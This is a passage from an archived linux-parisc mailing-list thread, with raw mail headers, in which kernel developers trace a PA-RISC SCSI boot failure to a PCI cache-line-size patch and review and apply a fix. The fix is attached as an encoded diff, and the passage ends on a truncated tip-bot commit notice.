Content-Type: multipart/mixed; boundary=0016e6d78553816212048038c137
X-Trace: dough.gmane.org 1266881175 17849 80.91.229.12 (22 Feb 2010 23:26:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 22 Feb 2010 23:26:15 +0000 (UTC)
Cc: Grant Grundler <grundler@google.com>,
	Matthew Wilcox <matthew@wil.cx>
To: Kyle McMartin <kyle@redhat.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 00:26:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NjhfF-0003Lf-SO
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Feb 2010 00:26:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754846Ab0BVX0E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Feb 2010 18:26:04 -0500
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:51526 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754883Ab0BVX0C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Feb 2010 18:26:02 -0500
Original-Received: by wya21 with SMTP id 21so391470wya.19
        for <linux-parisc@vger.kernel.org>; Mon, 22 Feb 2010 15:26:00 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=N/gLxLZ+ACxsuz4EiGcqbcs/clR/LeadO33wJtAmqRM=;
        b=pV/vK6MFqdOp84R+zIpiDUkzoTE2RrAZAOp/XTyOOcVbvj1c9SwYiTlsSRSxCwG9zQ
         31qsuQDmf9h8JVl2Gc1InfUQh2BZww1eCuFeepHgKCkvieVnMQdJkcIH57rrlPDPR94/
         WP2NYSr6+hngiVM9st6jOks/tH7YOCenORjXQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        b=o7bEd/Xa+PhNR0L0+DXSL0oR1cZP2Seavttco0sO01c9G35aR5x78TPJNplJse+5k8
         HnDdq/+EPA6G4r/QQ/D50iJuYVJYAOnfxInOwUQ9yLlDCAIYHXxP7Sflp+HLzWEZQPQQ
         5/lVWRxvn0pyV7XVUK8wjyXctblC3D3Kehln8=
Original-Received: by 10.216.86.211 with SMTP id w61mr1314603wee.50.1266881159848; Mon, 
	22 Feb 2010 15:25:59 -0800 (PST)
X-Google-Sender-Auth: d11d2f8227c3f489
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2660
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2660>

--0016e6d78553816212048038c137
Content-Type: text/plain; charset=ISO-8859-1

Kyle,

I spent the weekend bisecting to determine which patch broke booting
from scsi on my rp2470.

This patch is the culprit:
~~~
ac1aa47b131416a6ff37eb1005a0a1d2541aad6c is the first bad commit
commit ac1aa47b131416a6ff37eb1005a0a1d2541aad6c
Author: Jesse Barnes <jbarnes@virtuousgeek.org>
Date:   Mon Oct 26 13:20:44 2009 -0700

    PCI: determine CLS more intelligently

    Till now, CLS has been determined either by arch code or as
    L1_CACHE_BYTES.  Only x86 and ia64 set CLS explicitly and x86 doesn't
    always get it right.  On most configurations, the chance is that
    firmware configures the correct value during boot.

    This patch makes pci_init() determine CLS by looking at what firmware
    has configured.  It scans all devices and if all non-zero values
    agree, the value is used.  If none is configured or there is a
    disagreement, pci_dfl_cache_line_size is used.  arch can set the dfl
    value (via PCI_CACHE_LINE_BYTES or pci_dfl_cache_line_size) or
    override the actual one.

    ia64, x86 and sparc64 updated to set the default cls instead of the
    actual one.

    While at it, declare pci_cache_line_size and pci_dfl_cache_line_size
    in pci.h and drop private declarations from arch code.

    Signed-off-by: Tejun Heo <tj@kernel.org>
    Acked-by: David Miller <davem@davemloft.net>
    Acked-by: Greg KH <gregkh@suse.de>
    Cc: Ingo Molnar <mingo@elte.hu>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: Tony Luck <tony.luck@intel.com>
    Signed-off-by: Jesse Barnes <jbarnes@virtuousgeek.org>

:040000 040000 8b20ad60ed3e273b74bfb588dbea6948547e8de1
92498585770ca360c2716c0d3c55d5f4a37356a1 M     arch
:040000 040000 56d1abd61286dd303bb37c2002b699e526988f85
3f20bba2d1e107a80a738e3561fc0fa92e0c4024 M     drivers
:040000 040000 26d85393248c542ca2cea0e3ac4ceabd0ea659aa
326cbb98321cd4e490d888f48bc584b3662c8f06 M     include
~~~

Removing this patch allows my system to boot again.

The patch does something which is wrong IMO. It changes *when*
pci_cache_line_size is set from (a) initialized data to (b) a call to
pci_apply_final_quirks(...). There are several drivers which call
pci_try_set_mwi(...) and pci_set_mwi(...) which indirectly use of the
value of pci_cache_line_size, and the author of the patch doesn't make
any mention of having verified that the drivers don't call
pci_*_set_mwi(...) *before* pci_apply_final_quirks(...) is called.

Case in point the sym53c8xx driver does this:
~~~ drivers/scsi/sym53c8xx_2/sym_glue.c
static int __devinit sym_set_workarounds(struct sym_device *device)
        ...
        /* If the chip can do Memory Write Invalidate, enable it */
        if (chip->features & FE_WRIE) {
                if (pci_set_mwi(pdev))
                        return -ENODEV;
        }
        ...
~~~ drivers/pci/pci.c
int
pci_set_mwi(struct pci_dev *dev)
{
        int rc;
        u16 cmd;

        rc = pci_set_cacheline_size(dev);
        if (rc)
                return rc;
...
~~~ driver/pci/pci.c
int pci_set_cacheline_size(struct pci_dev *dev)
{
        u8 cacheline_size;

        if (!pci_cache_line_size)
                return -EINVAL;
...
~~~
Which means that if the driver calls pci_set_mwi() *before*
pci_apply_final_quirks() sets pci_cache_line_size, that it would
appear as if there are no devices.

To verify this I instrumented the PCI subsystem but my assumption
turns out not to be true:
~~~
PCI: pcibios_init set CLS.
...
PCI: CLS 64 bytes
...
pci_set_mwi begin
pci_set_cacheline_size: PCI_CLS is 16
pci_set_cacheline_size: Read CLS is 16
pci_set_mwi end
...
~~~
The ordering is correct.

The attached patch allows me to boot again by setting the PCI CLS to
64 early-on in pcibios_init().

I don't know *why* it works, what a shame, can anyone see something I've missed?

Cheers,
Carlos.

--0016e6d78553816212048038c137
Content-Type: text/x-diff; charset=US-ASCII; name="pcifix.diff"
Content-Disposition: attachment; filename="pcifix.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g5zwaw7h0

U3ViamVjdDogW1BBVENIXSBocHBhOiBTZXQgUENJIENMUyBlYXJseSBpbiBib290LgpGcm9tOiBD
YXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPgoKU2V0IHRoZSBQQ0kgQ0xT
IGVhcmx5IGluIHRoZSBib290IHByb2Nlc3MgdG8gcHJldmVudApkZXZpY2UgZmFpbHVyZXMuIElu
IHBjaWJpb3Nfc2V0X21hc3RlciB1c2UgdGhlIG5ldyAKcGNpX2NhY2hlX2xpbmVfc2l6ZSBpbnN0
ZWFkIG9mIGEgaGFyZC1jb2RlZCB2YWx1ZS4KClNpZ25lZC1vZmYtYnk6IENhcmxvcyBPJ0RvbmVs
bCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+CgotLS0KIGFyY2gvcGFyaXNjL2tlcm5lbC9wY2ku
YyB8ICAgIDkgKysrKysrLS0tCiAxIGZpbGUgY2hhbmdlZCwgNiBpbnNlcnRpb25zKCspLCAzIGRl
bGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2tlcm5lbC9wY2kuYyBiL2FyY2gv
cGFyaXNjL2tlcm5lbC9wY2kuYwppbmRleCBmNzA2NGFiLi40Zjg0OTkxIDEwMDY0NAotLS0gYS9h
cmNoL3BhcmlzYy9rZXJuZWwvcGNpLmMKKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3BjaS5jCkBA
IC0xOCw3ICsxOCw2IEBACiAKICNpbmNsdWRlIDxhc20vaW8uaD4KICNpbmNsdWRlIDxhc20vc3lz
dGVtLmg+Ci0jaW5jbHVkZSA8YXNtL2NhY2hlLmg+CQkvKiBmb3IgTDFfQ0FDSEVfQllURVMgKi8K
ICNpbmNsdWRlIDxhc20vc3VwZXJpby5oPgogCiAjZGVmaW5lIERFQlVHX1JFU09VUkNFUyAwCkBA
IC0xMjMsNiArMTIyLDEwIEBAIHN0YXRpYyBpbnQgX19pbml0IHBjaWJpb3NfaW5pdCh2b2lkKQog
CX0gZWxzZSB7CiAJCXByaW50ayhLRVJOX1dBUk5JTkcgInBjaV9iaW9zICE9IE5VTEwgYnV0IGlu
aXQoKSBpcyFcbiIpOwogCX0KKworCS8qIFNldCB0aGUgQ0xTIGZvciBQQ0kgYXMgZWFybHkgYXMg
cG9zc2libGUuICovCisJcGNpX2NhY2hlX2xpbmVfc2l6ZSA9IHBjaV9kZmxfY2FjaGVfbGluZV9z
aXplOworIAogCXJldHVybiAwOwogfQogCkBAIC0xNzAsOCArMTczLDggQEAgdm9pZCBwY2liaW9z
X3NldF9tYXN0ZXIoc3RydWN0IHBjaV9kZXYgKmRldikKIAkqKiBIUCBnZW5lcmFsbHkgaGFzIGZl
d2VyIGRldmljZXMgb24gdGhlIGJ1cyB0aGFuIG90aGVyIGFyY2hpdGVjdHVyZXMuCiAJKiogdXBw
ZXIgYnl0ZSBpcyBQQ0lfTEFURU5DWV9USU1FUi4KIAkqLwotCXBjaV93cml0ZV9jb25maWdfd29y
ZChkZXYsIFBDSV9DQUNIRV9MSU5FX1NJWkUsCi0JCQkJKDB4ODAgPDwgOCkgfCAoTDFfQ0FDSEVf
QllURVMgLyBzaXplb2YodTMyKSkpOworCXBjaV93cml0ZV9jb25maWdfd29yZChkZXYsIFBDSV9D
QUNIRV9MSU5FX1NJWkUsIAorCQkJICAgICAgKDB4ODAgPDwgOCkgfCBwY2lfY2FjaGVfbGluZV9z
aXplKTsKIH0KIAogCg==
--0016e6d78553816212048038c137--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Mon, 22 Feb 2010 16:54:33 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com>
References: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1266886484 31877 80.91.229.12 (23 Feb 2010 00:54:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2010 00:54:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 01:54:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Njj2t-00067t-0M
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Feb 2010 01:54:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752471Ab0BWAyi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Feb 2010 19:54:38 -0500
Original-Received: from smtp-out.google.com ([216.239.33.17]:44070 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752232Ab0BWAyh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Feb 2010 19:54:37 -0500
Original-Received: from spaceape13.eur.corp.google.com (spaceape13.eur.corp.google.com [172.28.16.147])
	by smtp-out.google.com with ESMTP id o1N0sYI0021438
	for <linux-parisc@vger.kernel.org>; Tue, 23 Feb 2010 00:54:34 GMT
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1266886475; bh=sV3aqhfjStOXyMmA0EjRDfW+BzM=;
	h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From:
	 To:Cc:Content-Type;
	b=OAftJU3xClBRPgcznU4BCTu/gl2fA3GPgfegAiBFJjW7y+Hq8/P8kRGJTXGdPeD90
	 bgoNb0Zm32TYS2P68VRew==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=mime-version:in-reply-to:references:date:message-id:subject:from:to:
	cc:content-type:x-system-of-record;
	b=UySPNsSOduEFUX66/lKDHeDXJw8TDntoDarpdS00uVVg+fABoQnXX3eE6QOpG5TCA
	rnImUzJqMeMEDSz2XCymg==
Original-Received: from wwd20 (wwd20.prod.google.com [10.241.241.212])
	by spaceape13.eur.corp.google.com with ESMTP id o1N0sX8I022230
	for <linux-parisc@vger.kernel.org>; Mon, 22 Feb 2010 16:54:33 -0800
Original-Received: by wwd20 with SMTP id 20so497610wwd.8
        for <linux-parisc@vger.kernel.org>; Mon, 22 Feb 2010 16:54:33 -0800 (PST)
Original-Received: by 10.216.89.149 with SMTP id c21mr8105wef.43.1266886473183; Mon, 22 
	Feb 2010 16:54:33 -0800 (PST)
In-Reply-To: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2661>

On Mon, Feb 22, 2010 at 3:25 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> Kyle,
>
> I spent the weekend bisecting to determine which patch broke booting
> from scsi on my rp2470.
...
> The attached patch allows me to boot again by setting the PCI CLS to
> 64 early-on in pcibios_init().

What is the boot failure message?


> I don't know *why* it works, what a shame, can anyone see something I've missed?

pci_cache_line_size is uninitialized and I expect is zero.
If zero, pci_set_cacheline_size() immediately returns an error and
causes the sym53c8xx_2
driver to assert there is no SCSI host controller present (returns
-ENODEV). Ergo no booting.

fs_initcall_sync(pci_apply_final_quirks) should be called before the
device_initcall() stuff.
I expect pci_cache_line_size should be non-zero before sym2 driver is invoked.

There was a bug in pci_apply_final_quirks() could cause
pci_set_cacheline_size() to
not set pci_cache_line_size, but the fix is in the current linus tree:
   http://patchwork.kernel.org/patch/69755/

Is it possible your tree is missing that fix for some reason?

In any case, your patch looks good to me. Please add:
   Reviewed-by: Grant Grundler <grundler@google.com>

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kmcmartin@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Mon, 22 Feb 2010 20:49:58 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20100223014958.GI16620@ihatethathostname.lab.bos.redhat.com>
References: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
 <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1266889828 7497 80.91.229.12 (23 Feb 2010 01:50:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2010 01:50:28 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Kyle McMartin <kyle@redhat.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 02:50:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Njjuo-0001gl-C6
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Feb 2010 02:50:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751372Ab0BWBuV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Feb 2010 20:50:21 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:4580 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750766Ab0BWBuV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Feb 2010 20:50:21 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o1N1o05m024069
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 22 Feb 2010 20:50:00 -0500
Original-Received: from ihatethathostname.lab.bos.redhat.com (ihatethathostname.lab.bos.redhat.com [10.16.43.238])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o1N1nwXv002204
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 22 Feb 2010 20:49:59 -0500
Original-Received: from ihatethathostname.lab.bos.redhat.com (ihatethathostname.lab.bos.redhat.com [127.0.0.1])
	by ihatethathostname.lab.bos.redhat.com (8.14.3/8.14.3) with ESMTP id o1N1nwjx003556;
	Mon, 22 Feb 2010 20:49:58 -0500
Original-Received: (from kyle@localhost)
	by ihatethathostname.lab.bos.redhat.com (8.14.3/8.14.3/Submit) id o1N1nwX5003554;
	Mon, 22 Feb 2010 20:49:58 -0500
Content-Disposition: inline
In-Reply-To: <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2662
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2662>

On Mon, Feb 22, 2010 at 04:54:33PM -0800, Grant Grundler wrote:
> In any case, your patch looks good to me. Please add:
>    Reviewed-by: Grant Grundler <grundler@google.com>

Your analysis looks correct to me, based on a quick grep.

Applied, thanks Carlos.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Tue, 23 Feb 2010 07:56:23 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <119aab441002230456v12891012y85ca6ffc3ba8c0b5@mail.gmail.com>
References: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
	 <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com>
	 <20100223014958.GI16620@ihatethathostname.lab.bos.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1266929793 16480 80.91.229.12 (23 Feb 2010 12:56:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2010 12:56:33 +0000 (UTC)
Cc: Grant Grundler <grundler@google.com>,
	Kyle McMartin <kyle@redhat.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Kyle McMartin <kmcmartin@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 13:56:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NjuJQ-0005id-8d
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Feb 2010 13:56:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752181Ab0BWM41 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2010 07:56:27 -0500
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:57147 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751187Ab0BWM40 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2010 07:56:26 -0500
Original-Received: by wwf26 with SMTP id 26so724911wwf.19
        for <linux-parisc@vger.kernel.org>; Tue, 23 Feb 2010 04:56:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=UEfUZrJPXa2luIHWqHezGO32kwTr1gpCBGXobehxP8g=;
        b=PfdUo6gyS+NZvWEJ52FFjWM+KjaIuXvjHJbOY1CS/MJlp8qqZPTPcdQa7tZfM0iW5O
         o6FQNaorgQCGN+MprDPQjaPXmnQUcxUzvHoesvAHd9RG3RRc1STX51I9s93uxFSsE+NB
         +w76uQ1rT1WQw/5B7huCJRKt+W2YQsEE94fHg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=aXbqzsAyhT6evgzvy5cga83u2o+lEjWHV4rVeGTMdQc8S2fkVa8K+hm7vjFu1XFBIu
         vy20WScSRpxpOxFMipvonieyWMDbNt/m1yAueNHVCrcepYcSHG+3VaeMgu95UqWzRBZ0
         E/Ch3yAvXEAJcA0EpVZCHdTS+MCgjF8QzA1Ws=
Original-Received: by 10.216.165.85 with SMTP id d63mr2620391wel.123.1266929783462; 
	Tue, 23 Feb 2010 04:56:23 -0800 (PST)
In-Reply-To: <20100223014958.GI16620@ihatethathostname.lab.bos.redhat.com>
X-Google-Sender-Auth: 89219d5af2e73a7a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2663
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2663>

On Mon, Feb 22, 2010 at 8:49 PM, Kyle McMartin <kmcmartin@redhat.com> w=
rote:
> On Mon, Feb 22, 2010 at 04:54:33PM -0800, Grant Grundler wrote:
>> In any case, your patch looks good to me. Please add:
>> =A0 =A0Reviewed-by: Grant Grundler <grundler@google.com>
>
> Your analysis looks correct to me, based on a quick grep.

I agree. Thanks Grant.

I booted a broken kernel and it reports:
~~~
PCI: CLS 0 bytes, default 64
~~~
Which is exactly the case mentioned here:
http://patchwork.kernel.org/patch/69755/

> Applied, thanks Carlos.

You're welcome!

I'm building directly from here:
git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

Is this correct? My assumption is that you keep this branch up to date
as you pull/test for parisc?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tip-bot for Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [tip:x86/ptrace] parisc: Disable CONFIG_HAVE_ARCH_TRACEHOOK
Followup-To: gmane.linux.kernel
Date: Tue, 23 Feb 2010 18:36:43 GMT
Lines: 48
Approved: news@gmane.org
Message-ID: <tip-5e6dbc260704ce4d22fc9664f517f0bb6748feaa@git.kernel.org>
References: <20100222183707.8749D64C@magilla.sf.frob.com>
Reply-To: mingo@redhat.com, hpa@zytor.com, linux-kernel@vger.kernel.org,
	  roland@redhat.com, jejb@parisc-linux.org, tglx@linutronix.de,
	  linux-parisc@vger.kernel.org, deller@gmx.de, kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1266950256 32065 80.91.229.12 (23 Feb 2010 18:37:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2010 18:37:36 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, hpa@zytor.com, mingo@redhat.com,
	roland@redhat.com, jejb@parisc-linux.org,
	linux-parisc@vger.kernel.org, tglx@linutronix.de, deller@gmx.de,
	kyle@mcmartin.ca
To: linux-tip-commits@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 19:37:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NjzdS-0005VC-8Z
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Feb 2010 19:37:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752716Ab0BWSh3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2010 13:37:29 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:50581 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752363Ab0BWSh2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2010 13:37:28 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id o1NIajqc016800
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 23 Feb 2010 18:36:45 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from hpa@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id o1NIahMV016796;
	Tue, 23 Feb 2010 18:36:43 GMT
X-Authentication-Warning: hera.kernel.org: hpa set sender to bounces.tip@hpa.at.zytor.com using -f
In-Reply-To: <20100222183707.8749D64C@magilla.sf.frob.com>
Git-Commit-ID: 5e6dbc260704ce4d22fc9664f517f0bb6748feaa
X-Mailer: tip-git-log-daemon
Content-Disposition: inline
X-Spam-Status: No, score=0.2 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_XX,FH_DATE_PAST_20XX autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Tue, 23 Feb 2010 18:36:47 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2664 gmane.linux.kernel:953360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2664>

Commit-ID:  5e6dbc260704ce4d22fc9664f517f0bb6748feaa
